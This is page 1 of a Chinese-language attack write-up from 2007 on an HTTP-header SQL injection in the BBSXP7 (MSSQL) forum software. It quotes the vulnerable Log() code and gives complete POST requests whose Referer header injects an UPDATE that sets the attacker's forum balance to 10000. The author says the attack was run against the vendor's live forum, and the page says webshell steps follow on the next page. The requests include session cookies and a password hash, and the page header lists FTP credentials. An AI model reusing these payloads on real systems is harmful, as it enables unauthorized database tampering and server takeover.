安全中国首页 > 文章中心 > Bbsxp注入文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:download.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

Bbsxp7 Mssql版,从注入到拿Webshell

更新时间:2007-7-26 3:36:41
责任编辑:池天
热 点:
这个东西是去年前发现的了。好象内容细节在哪个杂志上发了。不过似乎杂志和作者都没跟我联系呢?不管,发了再说。
针对BBSXP7的,是HTTP头注入。
没有多大的看头,熟悉的朋友,请从后面拿SHELL的地方开始看。
反正看得懂的就看。
看不懂的请提问,不过希望大家问一点有水平的问题。
太基础的,GOOGLE上可以搜索到的问题,恕我不回答。

我们都知道
yuzi.net是BBSXP的官方论坛。
最近读代码,读到了BBSXP
一个不小心,就找到了一个注入。。
拿bbs.yuzi.net去测试。一不小心就测试通过,并且通过此注入点,得到了WEBSHELL。其中就用到了我所谓的数据库处理数据和FSO处理数据的一点小差异,而拿到的WEBSHELL。欲知详情,请跟着我一步一步来看。。。

原创:sobiny[bct]
网址:http://sobiny.cn

BBSXP我读过还几次了,还没发现什么大的问题。
结果这次读的时候,发现了一个很奇怪的过程。

Setup.asp文件是BBSXP系统的函数文件,外面调用的函数基本上都在里面了。
在第394行有一个log过程,其代码如下:
sub Log(Message)
if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""
Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&Request.ServerVariables("HTTP_REFERER")&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")
end sub

我们明显的看到了。
Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"),Request.ServerVariables("script_name"),Request.ServerVariables("Query_String"),Request.ServerVariables("HTTP_REFERER")

这5个HTTP头的参数没有经过过滤就直接放进了数据库。

而, Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"), Request.ServerVariables("script_name")这三个参数,第一个是连接的IP地址,第二个是server名字,第三个是脚本名字。这三个都不好欺骗。(除了ip地址我还没想到方法欺骗以外,后面两个都是还是可以欺骗的,不过有一定的环境限制,当然这是后话)

但是Request.ServerVariables("Query_String")和Request.ServerVariables("HTTP_REFERER")我们都是可以很轻松的构造我们需要的字符进去。这样,就可以完成欺骗。进行MSSQL注入攻击。

现在我们就需要找找在BBSXP的代码里面,到底有哪些地方调用了LOG过程。
经过我仔细的检查代码。发现这个过程在好多处代码里面都调用了。
不过普通用户能调用的地方好象只有一处。就是Bank.asp,就是银行功能,在给某人汇钱了后,就会调用LOG过程,写入数据库记录。
目标代码在Bank.asp的第160行。如下:

Log(""&CookieUserName&" 通过银行转帐 ¥"&qmoney&" 给 "&dxname&"")

于是,就开始了我艰苦的BBSXP测试之旅。

我看了BBSXP的官方。只能通过发帖来赚点钱。每个帖子奖励1块钱。bank.asp里面限制了最低每次要转10块钱。而且还有10%的手续费,真黑啊,这个告诉我们,我必须要先发11个帖子,才可以进行一次转帐的操作。
痛苦ING
……………………
省略号表示是我在注册帐号等待20分钟(才可以发帖),趁版主不注意,猛灌11个文章。并且抓包的痛苦经历,能有多悲惨,请各位读者发挥自己的想象。

终于11个文章筹齐了。我现在有了11块钱。
当然就好开始构造我们的语句了。

我们先来看看我们本来的封包。
联系上下文。构造封包如下:
POST /Bank.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://bbs.yuzi.net/bank.asp
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)
Host: bbs.yuzi.net
Content-Length: 60
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime=


menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+
这个封包的意思是,向admin这个家伙送转10块钱过去。。
当然我们是不能直接发送这个封包的(为什么?因为10块钱就白白过去了,你愿意吗?当然要构造点语句帮我们做点事情才行)

考虑了1秒钟,身受为了得到11块钱而不停痛苦的我。绝对首先做的事情是:为我得到10000块钱。
经过读他们的代码,找到了存储金钱的表段,嘿嘿,准备加钱了。
POST /Bank.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://bbs.yuzi.net/bank.asp&#39;,&#39;a&#39;,&#39;post&#39;,&#39;cheng&#39;);update [BBSXP_Users] set [UserMoney]=10000 where userid=123536--
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)
Host: bbs.yuzi.net
Content-Length: 60
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime=

menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+

然后发送。

1 2 下一页

 
相关文章
一日一文章
 
一日一软件
一日一动画